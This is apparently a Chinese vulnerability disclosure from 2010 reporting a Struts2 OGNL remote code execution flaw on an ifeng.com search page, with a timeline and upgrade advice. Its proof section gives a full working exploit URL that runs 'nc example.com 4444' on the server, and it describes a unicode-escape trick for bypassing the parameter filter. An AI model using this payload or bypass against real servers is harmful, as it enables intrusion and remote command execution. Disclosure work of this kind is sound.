漏洞详情
披露状态:
2010-07-15: 细节已通知厂商并且等待厂商处理中
2010-08-18: 细节向公众公开
简要描述:
ifeng.com域下某网站可以远程执行代码,可能造成网站被入侵。
详细说明:
利用struts2框架远程执行漏洞,使用OGNL可以通过HTTP提交参数覆盖上下文相关变量的特性,改变上下文的安全设置,远程直接执行命令。
漏洞证明:
http://search.ifeng.com/sofeng/search.action?q=MG6&c=1&('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec("nc%20example.com%204444")')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
直接访问以上链接将会使服务器使用nc链接example.com的4444端口。
其中利用代码的http参数key中不能存在以下字符[^,#:=]。但是可以通过\u0000的java unicode string方式绕过。
修复方案:
建议排查ifeng.com旗下服务器,对所有含有struts2框架的程序进行升级(2.2.0),或过滤参数中的特殊字符。